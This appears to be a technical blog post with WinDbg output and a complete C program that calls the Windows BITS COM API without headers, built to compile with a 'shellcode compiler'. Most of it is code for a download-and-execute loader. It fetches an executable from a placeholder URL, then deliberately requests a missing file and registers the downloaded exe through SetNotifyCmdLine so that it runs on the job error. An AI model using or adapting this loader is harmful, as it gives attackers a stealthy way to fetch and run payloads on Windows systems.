COM and Background Intelligent Transfer Service (BITS) can be done in plain C without any help from headers and macros. Just keep an idea in your mind of what you get back from CoCreateInstance():

    IBackgroundCopyManager     IBackgroundCopyManager_vtable
    +--------------------+     +------------------------------+
--> | .vtable            | --> | .QueryInterface // IUnknown  |
    +--------------------+     | .AddRef         // IUnknown  |
                               | .Release        // IUnknown  |
                               | .CreateJob                   |
                               | ...                          |
                               +------------------------------+

To compile with Visual Studio, just link against Ole32.lib: cl /Zi bits.c Ole32.lib /Fe:bits.exe.

To compile with shellcode compiler, use the --unloaded-modules, otherwise the compiler assumes it's running in the memory space of a process with ole32.dll and combase.dll already loaded: scc -D SCC --unloaded-modules --arch x64 --platform windows bits.c -o bits.exe -f pe.

I keep the source file able to compile with Visual Studio because debugging with WinDbg is so nice. Here's BITS after CoCreateInstance:

xxxxxxxxxx
0:000> dqs poi(pBits)
000002ab`ff3148a8  00007fff`6aede310 BitsProxy!IBackgroundCopyManagerProxyVtbl+0x10
000002ab`ff3148b0  00000000`00000001
...

And here are its functions:

xxxxxxxxxx
0:000> dqs poi(poi(pBits))
00007fff`6aede310  00007fff`6aed27f0 BitsProxy!IUnknown_QueryInterface_Proxy
00007fff`6aede318  00007fff`6aed27b0 BitsProxy!IUnknown_AddRef_Proxy
00007fff`6aede320  00007fff`6aed27d0 BitsProxy!IUnknown_Release_Proxy
00007fff`6aede328  00007fff`7f3e2740 combase!ObjectStublessClient3 
00007fff`6aede330  00007fff`7f3e2760 combase!ObjectStublessClient4 
00007fff`6aede338  00007fff`7f3e2780 combase!ObjectStublessClient5 
00007fff`6aede340  00007fff`7f3e27a0 combase!ObjectStublessClient6
...

I don't know what's up with all the "Proxy" and "StublessClient" stuff. Alright, here's the code. The only remaining challenge is generating your wchar_t URL's:

​x
/*  compile with shellcode compiler:
  scc -D SCC --unloaded-modules --arch x64 --platform windows bitsscc.c -o bitsscc.exe -f pe
​
  compile with Visual Studio:
  cl /Zi bitsscc.c Ole32.lib /Fe:bitsscc.exe
*/
​
#ifdef SCC
/* compiler is aware without headers */
#else
#include <stdio.h>
#include <stdint.h>
#endif
​
/* windows typedefs */
typedef uint32_t DWORD;
typedef int32_t HRESULT; /* signed, MSB (b31) indicates failure */
typedef void *PVOID;
​
#ifdef SCC
void __stdcall Sleep(int) __import("kernel32");
#endif
​
/* COM shit */
#define CLSCTX_LOCAL_SERVER 4
#define BG_JOB_TYPE_DOWNLOAD 0
​
#ifdef SCC
HRESULT __stdcall CoInitialize(void *pvReserved) __import("ole32");
HRESULT __stdcall CoCreateInstance(PVOID rclsid, PVOID pUnkOuter, DWORD dwClsContext, PVOID riid, PVOID *ppv) __import("ole32");
HRESULT __stdcall CoUninitialize(void) __import("ole32");
#else
HRESULT __stdcall CoInitialize(void *pvReserved);
HRESULT __stdcall CoCreateInstance(PVOID rclsid, PVOID pUnkOuter, DWORD dwClsContext, PVOID riid, PVOID *ppv);
HRESULT __stdcall CoUninitialize(void);
#endif
​
/* COM: BackgroundCopyManger (the main BITS object) */
char *CLSID_BackgroundCopyManager = "\x4b\xd3\x91\x49\xa1\x80\x91\x42\x83\xb6\x33\x28\x36\x6b\x90\x97";
char *IID_IBackgroundCopyManager = "\x0d\x4c\xe3\x5c\xc9\x0d\x1f\x4c\x89\x7c\xda\xa1\xb7\x8c\xee\x7c";
​
struct IBackgroundCopyManager_vtable {
  void *QueryInterface;
  void *AddRef;
  unsigned long (__stdcall *Release)(void *this);
  HRESULT (__stdcall *CreateJob)(void *this, void *DisplayName, int Type, void *pJobId, void **ppJob);
};
​
struct IBackgroundCopyManager {
  struct IBackgroundCopyManager_vtable *vtable;
};
​
/* COM: CopyJob
  C:\Program Files (x86)\Windows Kits\10\Include\10.0.17134.0\um\Bits.h */
struct IBackgroundCopyJob_vtable {
  HRESULT (__stdcall *QueryInterface)(void *this, void *riid, void **pobject);
  void *AddRef;
  unsigned long (__stdcall *Release)(void *this);
  void *AddFileSet;
    HRESULT (__stdcall *AddFile)(void *this, void *url, void *localname);
    void *EnumFiles;
    void *Suspend;
    HRESULT (__stdcall *Resume)(void *this);
  void *Cancel;
  HRESULT (__stdcall *Complete)(void *this);
  void *GetId;
  void *GetType;
  void *GetProgress;
  void *GetTime;
  HRESULT (__stdcall *GetState)(void *this, int *state);
};
​
struct IBackgroundCopyJob {
  struct IBackgroundCopyJob_vtable *vtable;
};
​
/* COM: CopyJob5 (so we get SetNotifyCmdLine())
  C:\Program Files (x86)\Windows Kits\10\Include\10.0.17134.0\um\Bits.h */
​
// DEFINE_GUID(IID_IBackgroundCopyJob5, 0xE847030C, 0xbbba, 0x4657, 0xaf, 0x6d, 0x48, 0x4a, 0xa4, 0x2b, 0xf1, 0xfe);
char *IID_IBackgroundCopyJob5 = "\x0c\x03\x47\xe8\xba\xbb\x57\x46\xaf\x6d\x48\x4a\xa4\x2b\xf1\xfe";
​
struct IBackgroundCopyJob5_vtable {
  void *QueryInterface;
  void *AddRef;
  unsigned long (__stdcall *Release)(void *this);
  void *AddFileSet;
    HRESULT (__stdcall *AddFile)(void *this, void *url, void *localname);
    void *EnumFiles;
    void *Suspend;
    HRESULT (__stdcall *Resume)(void *this);
  void *Cancel;
  HRESULT (__stdcall *Complete)(void *this);
  void *GetId;
  void *GetType;
  void *GetProgress;
  void *GetTime;
  HRESULT (__stdcall *GetState)(void *this, int *state);
  void *GetError;
  void *GetOwner;
  void *SetDisplayName;
  void *GetDisplayName;
  void *SetDescription;
  void *GetDescription;
  void *SetPriority;
  void *GetPriority;
  HRESULT (__stdcall *SetNotifyFlags)(void *this, int val);
  void *GetNotifyFlags;
  void *SetNotifyInterface;
  void *GetNotifyInterface;
  void *SetMinimumRetryDelay;
  void *GetMinimumRetryDelay;
  void *SetNoProgressTimeout;
  void *GetNoProgressTimeout;
  void *GetErrorCount;
  void *SetProxySettings;
  void *GetProxySettings;
  void *TakeOwnership;
  HRESULT (__stdcall *SetNotifyCmdLine)(void *this, void *program, void *params);
};
​
struct IBackgroundCopyJob5 {
  struct IBackgroundCopyJob5_vtable *vtable;
};
​
#define BG_JOB_STATE_QUEUED
#define BG_JOB_STATE_CONNECTING 1
#define BG_JOB_STATE_TRANSFERRING 2
#define BG_JOB_STATE_SUSPENDED 3
#define BG_JOB_STATE_ERROR 4
#define BG_JOB_STATE_TRANSIENT_ERROR 5
#define BG_JOB_STATE_TRANSFERRED 6
#define BG_JOB_STATE_ACKNOWLEDGED 7
#define BG_JOB_STATE_CANCELLED 8
​
#define BG_NOTIFY_JOB_TRANSFERRED 1
#define BG_NOTIFY_JOB_ERROR 2
​
int bits_download(struct IBackgroundCopyManager *pBits, char *url, char *local, char *pathexec)
{
  int rc = -1;
  HRESULT hResult;
​
  /* create job */
  struct IBackgroundCopyJob *pJob = NULL;
  uint8_t jobGuid[16];
  char *jobName = "\x4d\x00\x79\x00\x4a\x00\x6f\x00\x62\x00\x00\x00\x00\x00\x00\x00"; /* "MyJob" wchar_t's */
​
  printf("calling CreateJob()\n");
  hResult = pBits->vtable->CreateJob(pBits, jobName, BG_JOB_TYPE_DOWNLOAD, jobGuid, (void **)&pJob);
  if(hResult < 0) {
    printf("hResult: %X\n", hResult);
    goto cleanup;
  }
​
  /* create job5 (to get SetNotifyCmdLine()) */
  struct IBackgroundCopyJob5 *pJob5 = NULL;
  printf("calling QueryInterface()\n");
  hResult = pJob->vtable->QueryInterface(pJob, IID_IBackgroundCopyJob5, (void **)&pJob5);
  if(hResult < 0) {
    // 0x80004002 - no such interface supported
    printf("hResult: %X\n", hResult);
    goto cleanup;
  }
  
  printf("got job5 interface: %p\n", pJob5);
​
  /* add file to job */
  printf("calling AddFile()\n");
  hResult = pJob5->vtable->AddFile(pJob5, url, local);
  if(hResult < 0) {
    /* 0x80070005 - E_ACCESSDENIED */
    /* 0x80070057 - E_INVALIDARG */
    printf("hResult: %X\n", hResult);
    goto cleanup;
  }
​
  /* if program to execute, register it */
  if(pathexec) {
    printf("calling SetNotifyCmdLine()\n");
    hResult = pJob5->vtable->SetNotifyCmdLine(pJob5, pathexec, NULL);
    if(hResult < 0) {
      printf("hResult: %X\n", hResult);
      goto cleanup;
    }
    printf("calling SetNotifyFlags()\n");
    hResult = pJob5->vtable->SetNotifyFlags(pJob5, BG_NOTIFY_JOB_ERROR);
  }
​
  /* initiate, wait for download */
  printf("calling Resume()\n");
  hResult = pJob5->vtable->Resume(pJob5);
  if(hResult < 0) goto cleanup;
​
  int wait = 1;
  while(wait) {
    int state;
    printf("calling GetState()\n");
    hResult = pJob5->vtable->GetState(pJob5, &state);
    if(hResult < 0) goto cleanup;
​
    switch(state) {
      case BG_JOB_STATE_CONNECTING:
      case BG_JOB_STATE_TRANSFERRING:
        Sleep(1000);
        continue;
      case BG_JOB_STATE_TRANSFERRED:
      case BG_JOB_STATE_ERROR:
      case BG_JOB_STATE_TRANSIENT_ERROR:
        wait = 0;
        break;
    }
  }
​
  pJob5->vtable->Complete(pJob5);
​
  rc = 0;
  cleanup:
​
    if(pJob) {
      printf("pJob is: %X, releasing\n", pJob);
      pJob->vtable->Release(pJob);
    }
    if(pJob5) {
      printf("pJob5 is: %X, releasing\n", pJob5);
      pJob5->vtable->Release(pJob5);
    }
​
  return rc;
}
​
/* action */
int main()
{ 
  HRESULT hResult;
​
  /* initialize, create bits objects */
  printf("calling CoInitialize()\n");
  hResult = CoInitialize(NULL);
  if(hResult < 0) goto cleanup;
​
  struct IBackgroundCopyManager *pBits = NULL;
  printf("calling CoCreateInstance()\n");
  hResult = CoCreateInstance(CLSID_BackgroundCopyManager, NULL, CLSCTX_LOCAL_SERVER, IID_IBackgroundCopyManager, (void **)&pBits);
  if(hResult < 0) goto cleanup;
  printf("got interface (pBits): %X\n", pBits);
​
  printf("downloading the file\n");
  // >>> print ''.join(map(lambda x: '\\x%02X\\x00' % x,  map(ord,list('http://acme.com/foo.exe\x00'))))
  char *url = "...";
  // >>> print ''.join(map(lambda x: '\\x%02X\\x00' % x,  map(ord,list('C:\writeable_path\foo.exe\x00'))))
  char *local = "...";
​
  if(bits_download(pBits, url, local, NULL))
    goto cleanup;
    
  printf("downloading the wrong file (and requesting exec on error)\n");
    // >>> print ''.join(map(lambda x: '\\x%02X\\x00' % x,  map(ord,list('http://acme.com/noexist.exe\x00'))))
  char *urlbad = "...";
  if(bits_download(pBits, urlbad, local, local))
    goto cleanup;
​
    cleanup:
    if(pBits) {
      printf("pBits is: %X, releasing\n", pBits);
      pBits->vtable->Release(pBits);
    }
    CoUninitialize();
    cleanup_nostart:
    return 0;
}